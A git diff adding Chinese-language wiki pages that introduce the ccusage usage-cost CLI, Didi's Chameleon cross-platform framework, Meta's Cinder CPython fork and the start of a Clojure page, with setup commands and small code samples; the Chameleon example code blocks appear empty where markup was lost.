https://pmndrs.github.io/cannon-es/docs/ | +| Getting Started | https://github.com/pmndrs/cannon-es/blob/master/getting-started.md | +| 交互示例 | https://pmndrs.github.io/cannon-es/ | +| three.js 示例源码 | https://github.com/pmndrs/cannon-es/blob/master/examples/threejs.html | +| React 封装 | https://github.com/pmndrs/use-cannon | + +## 小结 + +cannon-es 是 **Web 端轻量 3D 刚体物理**的事实标准之一:World 装场景,Body + Shape 描述物体,每帧 `fixedStep()` 推进,再把位姿同步给渲染器。它不负责画面,却能让 Three.js 里的箱子、球体、多米诺骨牌「真的」受重力、碰撞和摩擦。零基础路径:**官方落球示例 → 接 Three.js copy 位姿 → 读 ContactMaterial 与 Constraint → 需要 React 时再上 @react-three/cannon**。 diff --git a/src/content/docs/projects/ccusage.md b/src/content/docs/projects/ccusage.md new file mode 100644 index 000000000..48f929120 --- /dev/null +++ b/src/content/docs/projects/ccusage.md @@ -0,0 +1,217 @@ +--- +title: ccusage — 本地 Coding CLI 用量与成本「账单解析器」 +来源: 'ryoppippi, "ccusage", https://github.com/ryoppippi/ccusage' +日期: 2026-06-13 +子分类: 命令行工具 +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**ccusage**(coding CLI usage 的缩写)是一个**完全本地运行**的命令行工具:它读取 Claude Code、Codex、OpenCode、Gemini CLI 等编程代理在你电脑上自动写下的 JSONL / 会话日志,把 token 用量和**估算美元成本**汇总成可读表格或 JSON。 + +日常类比: + +> 手机运营商不会在你每次刷视频时弹窗报账,但月底会出一份**流量详单**——哪天用了多少 GB、哪个 App 最费流量、合计多少钱。 +> 你用 Coding CLI 写代码时,代理同样在本地悄悄记「输入/输出 token、模型名、缓存命中」;ccusage 就是那份**详单解析器**。 +> 数据不上传云端,只在你的机器上读文件、算数、打印表格。 + +项目由 [@ryoppippi](https://github.com/ryoppippi) 维护,GitHub 约 1.5 万 star,npm 包名 `ccusage`,文档站 [ccusage.com](https://ccusage.com/)。实现以 Rust 为主,体积极小,推荐用 `bunx ccusage` 免安装直接跑。 + +## 为什么重要 + +2025–2026 年,开发者日常工具从「网页聊天」变成**终端里的编程代理**。Claude Code、Codex、Cursor Agent 等按 token 计费或受订阅额度约束,但**原生 UI 很少告诉你**: + +- 今天已经烧了多少 Opus / Sonnet? +- 上周 refactor 大仓库的那次 session 单独花了多少钱? +- Claude Max 的 **5 小时滚动窗口**还剩多少额度? +- 同一台机器上 Codex 和 Claude Code 加起来本月多少? + +ccusage 的价值在于: + +| 痛点 | ccusage 怎么做 | +|------|----------------| +| 用量分散在多个 CLI | 默认**自动检测**已安装代理,一张表汇总 | +| 只有 token 没有钱 | 按 LiteLLM 定价表**估算 USD**(可 `--offline`) | +| 想按项目/会话复盘 | `session`、`--instances`、`--project` 多维切片 | +| 要接脚本或仪表盘 | `--json` 导出结构化数据 | +| Claude 限流窗口难感知 | `blocks` 子命令对齐 **5 小时 billing window** | + +**隐私边界**:只读本地日志,不把对话内容发到 ccusage 服务器。成本是**估算值**,与官方账单可能有偏差,适合趋势监控而非财务对账。 + +## 安装与第一次运行 + +无需全局安装,任选包运行器: + +```bash +# 推荐:bunx 会缓存包,第二次起更快 +bunx ccusage + +# 其他方式 +npx ccusage@latest +pnpm dlx ccusage +nix run github:ryoppippi/ccusage -- daily +``` + +前提:至少用过一种受支持的 Coding CLI,且本地已有 usage 日志。若表格为空,先确认对应数据目录存在(见下文「数据从哪来」)。 + +## 核心概念 + +### 1. 数据源(Agent / Source) + +ccusage 不 hook 网络请求,只扫描各 CLI 的**默认数据目录**。常用路径: + +| Agent | 命令前缀 | 典型数据位置 | +|-------|----------|--------------| +| Claude Code | `ccusage claude` | `~/.config/claude/projects/` 或 `~/.claude/projects/` | +| Codex | `ccusage codex` | `${CODEX_HOME:-~/.codex}` | +| OpenCode | `ccusage opencode` | `${OPENCODE_DATA_DIR:-~/.local/share/opencode}` | +| Gemini CLI | `ccusage gemini` | `${GEMINI_DATA_DIR:-~/.gemini/tmp}` | +| GitHub Copilot CLI | `ccusage copilot` | `~/.copilot/otel/*.jsonl` | + +完整列表见 [ccusage.com/guide](https://ccusage.com/guide/)。环境变量可指向自定义路径,多个目录可用逗号分隔。 + +### 2. 报告维度(Report Views) + +同一批原始日志,可按不同「切片方式」聚合: + +- **daily / weekly / monthly**:按日历日期、周、月汇总——适合看趋势、做预算。 +- **session**:按**单次对话**汇总——适合复盘「哪次 debug 最费 token」。 +- **blocks**(Claude Code 专用):按 Anthropic **5 小时滚动计费窗口**——对齐 Max / Pro 限流体感。 +- **statusline**(Beta):输出一行紧凑摘要,供 Claude Code **status bar hook** 调用。 + +默认 `ccusage` = `ccusage daily`,且**包含所有已检测到的 Agent**。要只看某一个:`ccusage claude daily`。 + +### 3. Token 与成本模型 + +表格列通常包括: + +- **Input / Output**:发给模型 / 模型返回的 token 数。 +- **Cache Create / Cache Read**(宽终端):Prompt Cache 写入与命中——命中通常更便宜,是 Claude 长上下文场景的省钱关键。 +- **Cost (USD)**:根据模型单价推算,非官方发票。 + +`--breakdown` 可展开**按模型**的成本明细;`--mode display`(Claude)等源专属 flag 影响 Claude 侧 token 分类方式。 + +### 4. 过滤、时区与输出形态 + +- `--since YYYYMMDD` / `--until YYYYMMDD`:日期范围。 +- `--timezone UTC`:按指定时区切日——跨时区团队对齐「今天」的定义。 +- `--json`:机器可读,便于 jq / Python 二次分析。 +- `--compact`:窄表,适合截图分享。 +- `--offline`:用内置缓存定价,无网络也能估算 Claude 模型成本。 + +终端宽度 < 100 字符时自动隐藏次要列;可用 `--color` / `--no-color` 控制着色。 + +### 5. Claude 项目维度(Instances) + +Claude Code 按仓库/项目写不同子目录。`--instances` 按**项目实例**分组;`--project ` 过滤单一项目——适合 monorepo 或同时维护多个客户代码库时,看清「哪个项目最吃 token」。 + +## 实践案例 + +### 案例 1:每日巡检——本月 Claude + Codex 各花多少 + +适合:个人开发者想控制订阅预算,每天早上扫一眼。 + +```bash +# 看 6 月整月,所有已检测 CLI 的日汇总 +bunx ccusage monthly --since 20260601 --until 20260630 + +# 只要 Claude Code,并按模型拆成本 +bunx ccusage claude daily --breakdown --since 20260601 + +# 只要 Codex +bunx ccusage codex daily --since 20260601 +``` + +读表时重点看:**Cost 列突增的日期**是否对应大 refactor、长 session 或未换 Sonnet;**Cache Read** 比例高说明 prompt caching 在起作用。 + +### 案例 2:导出 JSON,用 jq 找「最贵的前 5 个 session」 + +适合:写周报、或把数据喂给自建 Grafana / Obsidian 数据view。 + +```bash +bunx ccusage session --json > /tmp/ccusage-sessions.json + +# 示例:按 cost 降序取前 5(字段名以实际 JSON 为准,可用 jq 'keys' 探测) +jq '[.[] | select(.cost != null)] | sort_by(-.cost) | .[0:5]' /tmp/ccusage-sessions.json +``` + +也可走管道一次性统计: + +```bash +bunx ccusage daily --json --since 20260601 | jq '[.[] | .cost] | add' +``` + +团队规范:CI 不必跑 ccusage,但可在**每月 1 号 cron** 跑 `monthly --json` 归档到 git-ignored 目录,对比环比。 + +### 案例 3:Claude Max 用户——盯 5 小时 block 剩余额度 + +Claude 订阅对用量按**滚动 5 小时窗口**限流,不是自然日。ccusage 的 `blocks` 子命令专门对齐这一计费语义: + +```bash +bunx ccusage blocks +bunx ccusage claude blocks --timezone Asia/Shanghai +``` + +输出会标出当前 active block 内的用量与窗口边界。配合 **statusline** 可在 Claude Code 底部状态栏实时看到 burn rate(Beta,需在 Claude hooks 配置里调用 `ccusage statusline`)。 + +### 案例 4:多项目 Claude Code——谁最费 Opus + +```bash +# 列出各 project instance 的日用量 +bunx ccusage claude daily --instances --since 20260601 + +# 只看名为 my-api 的项目 +bunx ccusage claude daily --instances --project my-api --json +``` + +发现某个 side project 意外全是 Opus 时,可以回到 Claude Code 用 `/model` 切 Sonnet,或缩短 AGENTS.md 注入的上下文。 + +## 配置与扩展 + +ccusage 支持 JSON **配置文件**设置默认时区、颜色、数据源路径等(详见官方 Configuration 页)。优先级大致为:**CLI 参数 > 配置文件 > 自动检测默认值**。 + +其他能力: + +- **MCP Server**:ccusage 可暴露为 Model Context Protocol 服务,让别的代理查询本地用量(集成场景)。 +- **Nix Flake**:`nix run github:ryoppippi/ccusage` 可复现构建,定价文件嵌入 flake,沙箱构建无需联网拉价目表。 + +## 常见问题 + +**Q:表格是空的?** +先确认对应 CLI 至少成功跑过一次;检查 `~/.config/claude/projects/`、`~/.codex` 等是否存在 JSONL。自定义路径用 `CLAUDE_CONFIG_DIR`、`CODEX_HOME` 等环境变量。 + +**Q:成本和 Anthropic 发票对不上?** +正常。ccusage 按公开定价估算,不含税费、促销、Team 座位分摊;Web Search 等**非 LLM 工具调用**也可能不在 token 日志里。 + +**Q:和 Claude Code 内置 `/cost` 有什么区别?** +内置命令看**当前会话**;ccusage 跨会话、跨日期、**跨多个 CLI** 做离线聚合,更适合长期统计。 + +**Q:Windows 能用吗?** +可以。WSL 下路径与 Linux 一致;原生 Windows 需注意各 CLI 的数据目录位置,必要时用环境变量指向 `%USERPROFILE%` 下实际路径。 + +## 常用命令速查 + +| 目的 | 命令 | +|------|------| +| 今日默认总览 | `bunx ccusage` | +| 周/月趋势 | `bunx ccusage weekly` / `monthly` | +| 单 CLI | `bunx ccusage claude daily` | +| 按会话 | `bunx ccusage session` | +| Claude 5h 窗口 | `bunx ccusage blocks` | +| 导出 JSON | `bunx ccusage daily --json` | +| 日期过滤 | `--since 20260601 --until 20260613` | +| 离线估价 | `--offline` | +| 帮助 | `bunx ccusage --help` | + +## 延伸阅读 + +- 官方文档:[ccusage.com/guide](https://ccusage.com/guide/) +- 仓库:[github.com/ryoppippi/ccusage](https://github.com/ryoppippi/ccusage) +- npm:[npmjs.com/package/ccusage](https://www.npmjs.com/package/ccusage) +- 相关工具:Claude Code 内置 `/cost`;OpenAI Codex 侧可配合 `codex` 自有日志目录用 `ccusage codex` 统一查看 + +--- + +**一句话总结**:ccusage 把「Coding CLI 在本地留下的 token 日志」变成**可读的账单式报表**——不上传对话、不替官方开票,但足够让你知道**钱和时间花在了哪几次 session、哪几个模型、哪几个项目**上。 diff --git a/src/content/docs/projects/chameleon.md b/src/content/docs/projects/chameleon.md new file mode 100644 index 000000000..4aff59205 --- /dev/null +++ b/src/content/docs/projects/chameleon.md @@ -0,0 +1,325 @@ +--- +title: Chameleon — 滴滴「变色龙」跨端框架,一套 CML 跑遍 Web / 小程序 / Weex +来源: https://github.com/didi/chameleon +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Chameleon(简称 **CML**,中文名「卡梅龙」)是滴滴开源的**跨端统一开发框架**:你用一套自研的 CML 语言写页面,同一工程可以编译到 Web、微信/支付宝/百度/QQ/字节跳动小程序、快应用,以及基于 Weex 的 iOS/Android 原生渲染。官方口号是「**一端所见即多端所见**」——在浏览器里预览成什么样,各端应尽量一致,不必为每个平台单独翻文档。 + +日常类比:Chameleon 像一只**变色龙**。同一只蜥蜴(你的 `.cml` 源码)会根据栖息环境(微信、支付宝、H5、Weex)自动换皮,但骨骼和肌肉(MVVM 结构、生命周期、组件模型)保持不变。你不必为雨林、沙漠、岩石各养一只不同的宠物——维护一份「物种说明书」即可。 + +它和「把 H5 塞进 WebView」或「纯编译时字符串替换」都不同。Chameleon 在**语言层**定义统一框架,再用**多态协议**把业务代码与各端底层能力隔开:公共逻辑里不能直接写 `wx.`、`my.`、`window` 等平台专有对象,必须通过标准接口扩展,从而在大型项目里保住可维护性。 + +```bash +# 全局安装 CLI(官方要求 npm,暂不建议 yarn/cnpm 安装工具链) +npm i -g chameleon-tool + +# 创建项目并启动开发预览 +cml init project +cd <你的项目名> +cml dev + +# 内置 Todo 示例,适合学习数据流与页面结构 +cml init project --demo todo +``` + +## 为什么重要 + +不理解 Chameleon,以下问题容易在跨端选型里踩坑: + +- **滴滴系业务为何曾押注 CML**:2019 年前后小程序与 App 入口爆炸,同一功能要在微信、支付宝、百度、快应用、Weex 各写一遍,维护成本指数上升;Chameleon 试图从「前端中台」角度统一 MVVM,而不是只做语法转译 +- **与 Taro / uni-app 的差异**:Taro 以 React/Vue 为源码、运行时适配各端;uni-app 以 Vue 为核心;Chameleon 用**自研 CML + 类 Vue 语法**,更强调语言级一致性与多态协议边界 +- **「能跑」和「能长期维护」不是一回事**:跨 6 个端、扩展上百个 API 时,若公共代码里散落平台分支,跨端收益会被维护债吃掉——这正是多态协议要解决的问题 +- **渐进式接入**:不必一次性重写老项目;可用 CML 只写可复用组件或新页面,再嵌入各端原生工程 + +## 核心概念 + +Chameleon 的技术栈可以拆成七块: + +### 1. 三层文件模型:CML + CMSS + JS + +类比网页开发的 HTML + CSS + JavaScript,Chameleon 使用: + +| 层 | 名称 | 作用 | +|----|------|------| +| 结构 | **CML**(Chameleon Markup Language) | 模板、条件/列表渲染、数据绑定 | +| 样式 | **CMSS** | 写在 `.cml` 的 ` + + +``` + +要点:`c-bind:tap` 绑定点击;样式写在同一文件;页面标题走 JSON 配置块。开发时 `cml dev` 会在浏览器打开预览,并并行构建已启用的小程序/Weex 产物到 `dist/`。 + +## 示例二:chameleon-api 拉列表 + 自定义组件 + +列表页演示网络请求、下拉刷新与组件引用——跨端应走 `chameleon-api`,而不是 `wx.request`。 + +```vue + + + + + + + + +``` + +```vue + + + + + + + + +``` + +要点:`cml.request` / `cml.showToast` 替代平台原生 API;`c-for`、`c-if` 做列表与空态;组件通过 `usingComponents` 注册路径;下拉刷新在 JSON 里 `enablePullDownRefresh: true`,逻辑里 `onPullDownRefresh` 与 `cml.stopPullDownRefresh()` 配对。 + +## 与 Taro、uni-app 怎么选 + +| 维度 | Chameleon | Taro | uni-app | +|------|-----------|------|---------| +| 源码语法 | CML(类 Vue / 可选 Vue) | React 或 Vue | Vue | +| 一致性保障 | 语言层 + 多态协议强约束 | 运行时 + 组件映射 | 编译器 + `uni` API | +| 典型场景 | 滴滴/青桔等历史 CML 项目、强一致多端 | React 团队、京东系 | Vue 团队、DCloud 生态 | +| 学习曲线 | 需学 CML 与多态扩展规则 | 会 React/Vue 即可 | 会 Vue 即可 | + +若团队已深度使用 React 或 Vue,Taro/uni-app 往往更顺手;若你要理解「**用协议边界管住跨端维护性**」这一设计思路,或维护遗留 CML 工程,Chameleon 值得系统学习。 + +## 学习路径建议 + +1. 读官方站 [CML.JS.org](https://cml.js.org) 的「快速上手」「CML 语法」「多态协议」三章; +2. `cml init project --demo todo` 跑通 Todo,观察 `store` 与页面通信; +3. 用 `cml wx dev` 在微信开发者工具打开 `dist` 下微信产物,对照 Web 预览差异; +4. 尝试为一个简单 API(如自定义分享)写多态 interface + 各端实现包; +5. 浏览 [awesome-cml](https://github.com/chameleon-team/awesome-cml) 与滴滴青桔实践分享,了解真实业务边界。 + +## 小结 + +Chameleon 不是简单的「小程序语法翻译器」,而是滴滴在入口碎片化时代提出的**跨端 MVVM 统一语言 + 多态协议**方案:`.cml` 单文件承载 UI 与逻辑,`chameleon-tool` 一次构建多端,`chameleon-api` 屏蔽平台 API 差异,多态协议防止公共代码被 `wx`/`my` 污染。作为零基础学习者,把它当成「会变色的中央厨房」——菜谱(CML)一份,各分店(平台)按统一卫生标准(interface)出餐,才能在大规模迭代里仍吃得下跨端这碗饭。 diff --git a/src/content/docs/projects/cinder.md b/src/content/docs/projects/cinder.md new file mode 100644 index 000000000..ab95ee5f1 --- /dev/null +++ b/src/content/docs/projects/cinder.md @@ -0,0 +1,209 @@ +--- +title: Cinder — Instagram 内部 CPython 分支 +来源: https://github.com/facebookincubator/cinder +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**Cinder** 是 Meta(Instagram 母公司)在 [facebookincubator/cinder](https://github.com/facebookincubator/cinder) 维护的 **CPython 性能分支**:在官方解释器之上,为 Instagram 等大规模 Python 服务加了 JIT、Static Python、Strict Modules 等优化。Instagram 的 Django Web 服务长期跑在 Cinder 上;仓库 README 也写明目标是**推动部分能力回流 upstream CPython**,而不是另立一套「替代 Python」。 + +日常类比:如果把 **CPython** 想成全国统一的**标准版家用轿车**——能开、配件多、谁都会修,那 **Cinder** 更像 Instagram 车队里的**改装赛道版**: + +- **Shadowcode / 特化解释器** 像行车电脑:发现某段路(热函数)总是同样操作,就把通用指令换成「专用档位」; +- **Cinder JIT** 像把常跑的高速路段**预先铺成专用高架**——把字节码编译成 x64 机器码,省掉解释器循环开销; +- **Static Python** 像给司机一份**带类型标注的路线图**——编译期知道「这里是 int、那里是固定字段」,生成更窄、更快的字节码; +- **Strict Modules** 像**密封式预制模块**——导入时保证模块顶层没有副作用,模块对象不可变,利于 fork 后共享内存; +- **Immortal Instances** 像给长期停在车库里的车**摘掉里程表**——父进程里加载的大对象不再参与引用计数,减轻 pre-fork 架构下的 copy-on-write 压力。 + +你写的仍是 `.py` 文件、仍是 Python 语法;差别在于**运行时**多了 Meta 为 Web 负载定制的快车道。2024 年起,部分能力又以 **[CinderX](https://github.com/facebookincubator/cinderx)** 扩展形式向 stock CPython 靠拢——Python 3.14 起 CinderX 可在**未打补丁的官方 CPython** 上加载 JIT。 + +## 为什么重要 + +不懂 Cinder,下面这些现象很难讲透: + +- **为什么 Instagram 不直接用 PyPy**——生态与 C 扩展、Django 部署模型、pre-fork 多进程架构,Meta 选择在 CPython 兼容栈上**就地加速** +- **CPython 3.11+ 的自适应特化解释器(PEP 659)从哪来**——Cinder 的 **Shadowcode** 是同类思路的早期生产验证 +- **类型标注除了 mypy 还能干什么**——Static Python 把注解变成**专用 opcode + JIT 内联调用**,接近 Cython/mypyc 的收益而保持纯 Python 写法 +- **为什么官方 README 说「我们不打算维护成第二套 Python」**——开源是为了**讨论 upstream**,外部用户需自担风险 +- **CPython 3.13 实验 JIT 与 Meta 路线有何关系**——Cinder 多年 JIT/HIR/LIR 管线为社区提供了可参考的工程样本 + +## 核心概念 + +### 1. Cinder 在 Python 实现谱系中的位置 + +| 实现 | 与 CPython 关系 | 典型加速手段 | +|------|-----------------|--------------| +| **CPython** | 官方参考实现 | 3.11+ 自适应特化、3.13 实验 JIT | +| **Cinder** | CPython **fork + Meta 补丁** | Shadowcode、方法级 JIT、Static Python | +| **CinderX** | **扩展**(PyPI `cinderx`) | 热函数 JIT、`cinderx.jit.auto()` | +| **PyPy** | 独立 VM + tracing JIT | 纯 Python 循环常更快,C 扩展生态不同 | + +Cinder **不是新语言**;语义目标仍是 Python,只是运行时多了 `Ci_` 前缀的内部 API 与额外 opcode。 + +### 2. 源码树:在 CPython 上加了什么 + +典型 Cinder 3.10 分支在 CPython 布局上额外包含: + +``` +cinder/ +├── Python/ceval.c # 解释器循环 + Shadowcode 特化 opcode +├── Shadowcode/ # 特化解释器核心 +├── Jit/ # HIR → LIR → asmjit 机器码 +│ ├── hir/ lir/ codegen/ +├── StaticPython/ # 静态类型类加载、字段偏移 +├── Lib/compiler/static/ # Static Python 编译器 +└── CinderDoc/ # Static Python 等文档 +``` + +执行路径仍是 **源码 → AST → 字节码 → eval loop**;Static Python 则在编译阶段换一条**更窄的字节码**。 + +### 3. Shadowcode(特化解释器) + +Shadowcode 在**运行时**观察热函数里哪些 opcode 总落在可优化形态(例如某次 `LOAD_ATTR` 总是同一类型),然后把通用 opcode **动态替换**为特化版本。 spirit 上接近 CPython 3.11 的 specializing adaptive interpreter(PEP 659),但 Cinder 在 3.10 时代就已用于 Instagram 生产。 + +### 4. Cinder JIT(方法级 JIT) + +- **启用**:`./python -X jit` 或环境变量 `PYTHONJIT=1` +- **粒度**:**method-at-a-time**(按函数编译),C++ 实现,经 **HIR(高层 IR)→ LIR → asmjit** 生成 x64 机器码 +- **收益**:官方 README 称许多基准约 **1.5–4×**;与 Static Python 联用时 Richards 类基准可达 **~18×**(相对 stock CPython 3.10) +- **生产策略**:Instagram 使用 **pre-fork**——在父进程里根据 **jit-list 文件**预先编译热点,而非典型 JIT 的「运行中再发现热点」,以便 worker 共享只读代码页 + +Python 侧可通过内置 **`cinderjit`** 模块 introspect 或强制编译(见下方示例)。 + +### 5. Static Python + +Static Python 是 Cinder 的**带类型注解的字节码编译器**: + +- 类属性、`__init__` 里带注解的赋值 → **typed slots**,属性读写变成 `LOAD_FIELD` / `STORE_FIELD`(JIT 里接近 C 结构体偏移访问) +- 静态函数互调 → `INVOKE_FUNCTION` / `INVOKE_METHOD`,JIT 可降为 **x64 直接调用** +- 仍支持**渐进类型**:未知类型回退动态 Python,必要时插入运行时 `CAST` +- 模块顶行 `import __static__` 表示参与静态编译;配合 strict loader 可跨模块静态链接 + +实验入口(Cinder 树内): + +```bash +./python -m compiler --static some_module.py +./python -m compiler --static --dis some_module.py # 编译并反汇编 +``` + +### 6. Strict Modules + +三合一机制: + +1. **静态分析**:模块顶层执行不得产生**跨模块可见副作用** +2. **`StrictModule` 类型**:替代普通 module,**不可变** +3. **Loader**:识别 `import __strict__`,验证通过后装入 `sys.modules` + +与 Static Python、immortal/freeze 类型配合,减少 import 时动态性,利于**大进程 fork 共享**。 + +### 7. 其他 Instagram 向优化 + +| 特性 | 解决的问题 | +|------|------------| +| **Immortal Instances** | pre-fork 后子进程改 refcount 触发 COW,长期对象「免计数」约 **~5%** CPU | +| **Await-aware calls** | async 密集;立即 `await` 的协程可**急切求值**,少分配 Task | +| **字节码 inline cache** | 属性/方法查找缓存(与 upstream 方向一致) | + +### 8. Cinder → CinderX 演进 + +Meta 后来把许多能力做成 **`cinderx` PyPI 包**,在较新 Python 上以扩展形式交付 JIT,降低「整仓 fork CPython」的维护成本。仓库 README 现注明:**Cinder 仓库名保留历史**;新用户若只想试 JIT,可优先看 [CinderX](https://github.com/facebookincubator/cinderx)。**Python 3.14** 被描述为首个支持 **stock CPython + CinderX** 的组合。 + +## 实践案例 + +### 案例 1:启用 JIT 并检查函数是否已编译 + +在 Cinder 运行时(非普通 CPython): + +```python +# 启动解释器时: PYTHONJIT=1 ./python app.py +# 或: ./python -X jit app.py + +import cinderjit + +def hot_loop(n: int) -> int: + total = 0 + for i in range(n): + total += i * i + return total + +hot_loop(10_000) # 触发执行 + +if cinderjit.iscompiled(hot_loop): + print("hot_loop 已在 JIT 中") +else: + cinderjit.compile(hot_loop) # 强制编译 + print("已强制 JIT:", cinderjit.iscompiled(hot_loop)) +``` + +生产环境更常见的是 **`PYTHONJITLISTFILE=/path/to/jitlist.txt`**,文件每行一个 qualified name,例如 `myapp.views:render_feed`,只编译 profiling 出来的热点。 + +### 案例 2:Static Python 模块(类型 + 静态导入标记) + +```python +# file: fast_stats.py +import __static__ # 告诉 Cinder strict/static loader 按 Static Python 编译 + +def variance(xs: list[float]) -> float: + n: int = len(xs) + if n == 0: + return 0.0 + mean: float = sum(xs) / n + acc: float = 0.0 + for x in xs: + d: float = x - mean + acc += d * d + return acc / n +``` + +在启用 strict loader 的应用里,该模块与其他 `__static__` 模块互调时,编译器可省略重复运行时类型检查,并生成 `INVOKE_*` opcode;配合 JIT 后,内层循环接近原生算术成本。本地试验可: + +```bash +PYTHONINSTALLSTRICTLOADER=1 ./python -X jit -c "import fast_stats; print(fast_stats.variance([1.0, 2.0, 3.0]))" +``` + +### 案例 3:用 Docker 快速体验(无需本机构建) + +官方推荐 Linux x64 + Docker: + +```bash +docker run -it --rm ghcr.io/facebookincubator/cinder-runtime:cinder-3.10 +``` + +容器内 `./python` 即为 Cinder 构建。README 提醒:GitHub Actions 默认构建**未开 PGO/LTO**,本地 Docker 体验**不代表** Instagram 生产二进制的全速。 + +### 案例 4:在线探索编译管线 + +[Cinder Explorer(trycinder.com)](https://trycinder.com) 可在浏览器里查看**源码 → 字节码 →(Static/JIT)→ 汇编** 的流水线,适合理解 Static Python 与 JIT Lowering,无需克隆整棵 CPython 树。 + +## 与 CPython upstream 的关系 + +Cinder 团队多次强调:**目标是一起把 CPython 变快**,而非 fork 永久分裂。已影响或平行 upstream 的方向包括: + +- **特化解释器**(Shadowcode ↔ PEP 659) +- **Immortal 对象**(讨论减少 refcount 对 fork 的伤害) +- **async 急切求值** 等 Web 负载微优化 +- **基于注解的内联与 deopt** 思路(与 3.13+ 实验 JIT 生态对话) + +外部开发者应把 Cinder 当作**研究型生产分支**:Issue/PR **无 SLA**;macOS 等非 Linux x64 环境**往往无法构建**。 + +## 何时该关心、何时可跳过 + +**值得深入**: + +- 研究 **CPython 性能演进**、JIT 工程化、Static Python / 渐进类型编译 +- 对比 **Cython、mypyc、PyPy、torch.compile** 等「让 Python 更快」路线的设计权衡 +- 理解 **pre-fork Web 服务器**(gunicorn/uwsgi 类)下 refcount、COW、JIT 代码共享的交互 + +**可暂时跳过**: + +- 只为写普通 Django/FastAPI 业务——直接用官方 CPython + 3.12+ 即可 +- 需要 **macOS/Windows 官方支持** 的生产部署 +- 期望「pip install cinder 就能加速现有项目」——应看 **CinderX** 与具体 Python 版本说明 + +## 小结 + +Cinder 是 Meta 为 **Instagram 级 Python Web 负载**定制的 CPython 分支:**Shadowcode 特化解释、方法级 JIT、Static Python 注解编译、Strict Modules 与 immortal 对象** 共同服务 pre-fork、async 密集、超大代码库等约束。它把「类型标注 + 运行时」推到接近 C 扩展的性能,同时尽量保持 Python 开发体验;开源版本是**对话 upstream 的试验场**,而非面向公众的「更快 Python 发行版」。跟进性能方向时,建议同时阅读 **[CinderX](https://github.com/facebookincubator/cinderx)** 与 **CPython 3.13+ 官方 JIT** 文档,三者构成同一条「让默认 Python 更快」的时间线。 diff --git a/src/content/docs/projects/clojure.md b/src/content/docs/projects/clojure.md new file mode 100644 index 000000000..5a27b8093 --- /dev/null +++ b/src/content/docs/projects/clojure.md @@ -0,0 +1,261 @@ +--- +title: Clojure — JVM 上的 Lisp +来源: https://github.com/clojure/clojure +日期: 2026-06-13 +分类: 编译器 +子分类: 语言运行时 +provenance: pipeline-v3 +--- + +## 是什么 + +**Clojure** 由 Rich Hickey 在 2007 年发布,是一门运行在 **JVM** 上的 **Lisp 方言**,官方实现托管于 [clojure/clojure](https://github.com/clojure/clojure)。它把 Lisp 的「代码即数据」、宏系统与 JVM 的工业级运行时、Java 生态合二为一;同时默认 **不可变持久化数据结构**、**函数式** 风格,并在需要可变共享状态时提供 **Atom**、**Ref + STM**、**Agent** 等显式机制。 + +同一语言家族还有 **ClojureScript**(编译到 JavaScript)、**ClojureCLR**(.NET)、**Babashka**(基于 GraalVM 的快速脚本运行时)。本文聚焦 JVM 上的 Clojure 主线。 + +日常类比:如果把 **Java** 想象成一家**标准化连锁工厂**——每个零件(对象)都有固定模具、改一条生产线要停全线换模(大量可变状态 + 锁);那 **Clojure** 像是同一工业园里的**乐高创意工坊**: + +- **说明书用统一积木语法写**(S 表达式:括号里第一个是「动词」,后面是「名词」),学徒读说明书就是在读积木本身(同像性 / homoiconicity); +- **积木块默认焊死不可掰弯**(不可变集合),要「改造型」就拼一套新模型,旧模型仍完整留在架子上(持久化数据结构 + 结构共享); +- **设计师边拼边试**(REPL),不必等整车下线才看效果; +- **缺特殊件就从隔壁 Java 仓库借**(`.` 调用 Java 类与方法),不必自己造轮子; +- **真要多人同时改同一块白板**(共享可变状态),工坊提供**预约事务板**(STM)或**单人值班便签**(Atom),而不是人人抢一支马克笔乱涂。 + +Clojure 在 **Datomic**(不可变事实数据库)、**Nubank**(金融科技)、**CircleCI**、**Walmart 部分数据栈** 等场景有生产级应用;在数据管道、配置 DSL、内部工具与「需要 REPL 快速迭代」的团队中仍有一席之地。 + +## 为什么值得学 + +零基础或从 Java / Python 转 Clojure,常见收益: + +| 痛点(命令式 / 可变 OOP) | Clojure 的应对 | +|---------------------------|----------------| +| 共享可变状态导致隐蔽 bug | 默认 **不可变值**;状态变更走显式引用类型 | +| 改集合怕破坏调用方 | **持久化数据结构**:`conj` / `assoc` 返回新版本,旧版本仍可用 | +| 编译—运行反馈慢 | **REPL 驱动开发**:函数逐块验证,无需整项目重启 | +| 已有 Java 资产不愿重写 | **无缝 JVM 互操作**,同一 classpath | +| 元编程靠字符串模板脆弱 | **宏** 在编译期操作 **数据结构形式的代码** | +| 多线程加锁易死锁 | **STM**、不可变数据 + **Atom** 等协调模型 | + +即使不主力写 Clojure,理解它也有助于掌握 **immutable infrastructure**、**REPL-first DX**、以及 Rich Hickey 关于 **Simple Made Easy**、**The Value of Values** 的设计思想——这些观念已影响 Elixir、Kotlin 集合 API、React 单向数据流等生态。 + +## 核心概念 + +### 1. 编译管线:从表单到 JVM 字节码 + +``` +┌────────────────────────────────────────────────────────────┐ +│ 源码 .clj / .cljc(可跨 JVM/JS 共享) │ +├────────────────────────────────────────────────────────────┤ +│ Reader:字符 → Clojure 数据(列表、向量、map、符号…) │ +│ Compiler:数据 → JVM 字节码(无解释器;始终编译后执行) │ +├────────────────────────────────────────────────────────────┤ +│ 运行时:HotSpot + Java 类库 + Clojure 运行时 │ +└────────────────────────────────────────────────────────────┘ +``` + +构建与依赖管理常用 **tools.deps**(`deps.edn` + `clojure` CLI)、**Leiningen**,或脚本场景下的 **Babashka**。 + +### 2. S 表达式与同像性 + +Clojure 语法极简:代码即 **嵌套列表**。函数调用写作 `(f arg1 arg2)`,而不是 `f(arg1, arg2)`。宏在 **读取之后、求值之前** 把数据结构形式的代码变换成另一段代码——因为代码本身也是数据结构,元编程比「操作字符串」可靠得多。 + +特殊形式(special forms)如 `def`、`fn`、`if`、`let`、`quote` 由编译器直接处理,不是普通函数。 + +### 3. 符号、命名空间与 Var + +- **符号**(symbol):如 `map`、`user/name`,标识名称本身; +- **命名空间**(namespace):类似模块,`ns` 声明当前文件所在命名空间,`require` 引入其他命名空间; +- **Var**:命名空间内 **符号 → 值** 的绑定,常用来存放函数与常量。REPL 里 `(def x 7)` 会创建/更新 Var。 + +### 4. 标量与集合字面量 + +| 类型 | 字面量示例 | 说明 | 